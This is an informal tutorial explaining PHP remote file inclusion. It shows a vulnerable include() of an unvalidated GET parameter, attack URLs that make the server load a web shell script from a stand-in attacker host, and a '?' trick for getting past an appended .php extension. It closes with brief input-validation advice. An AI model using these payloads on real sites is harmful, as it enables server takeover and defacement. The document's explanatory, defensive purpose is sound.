Remote File Inclusion

Remote File Inclusion

Basic Remote File Inclusion

Definition
Remote file inclusion, commonly known as RFI is a form of attack where the attacker trys to inject there own php code inside your php app's. If an attacker can successfully achieve this they will be able to execute any code they wish on your webserver.

Example
Lets say we have a website that is coded in php, the website uses something like page=page.html to work out which page should be displayed. The code for this might look like

Code:
$file =$_GET['page']; //The page we wish to display
include($file);
?>

What this means is that what ever is passed down to page will get included inside this php page. This means that an attacker can simply do something like this


Code:
http://www.site.com/index.php?page=http://www.attackersserver.com/c99shell.txt?

If we take a look at what is happening on the code side of things once this has been done we can see that the actual code that the web server is executing looks like this
Code:
$file ="http://www.attackersserver.com/my_evil_script.txt?"; //$_GET['page'];
include($file); //$file is the attackers script
?>


What the above script does is add .php to anything that is passed into it. So if we passed it
Code:
http://www.attackersserver.com/my_evil_script.txt

then what we are actually going to see in the include() function is
Code:
http://www.attackersserver.com/my_evil_script.txt.php

this is bad. What this means is that we wont actually get our script executed as it doesnt exist now. So if we pass the ? on the end of the script we are going to treat the .php as if it is a var that is getting passed to the script. So now the include() function looks like
Code:
http://www.attackersserver.com/my_evil_script.txt?.php

and it will still get executed.

Conclusion
There you have it a basic tutorial on what remote file inclusion is and how/why an attacker can use it against your servers. This kind of attack, just like most attacks isnt that hard to stop if you dont trust all data that is coming into you. All you have to really remember is if the data isnt hard coded then you need to check it to make sure it does what it is meant to do. Alot of the attacks that are preformed can be stoped by a few simple checks on the data.

This is how people deface websites, because once they have got access using there shell .txt? they can replace webpages with there own, view databases, view the server, backdoor the server... Anything!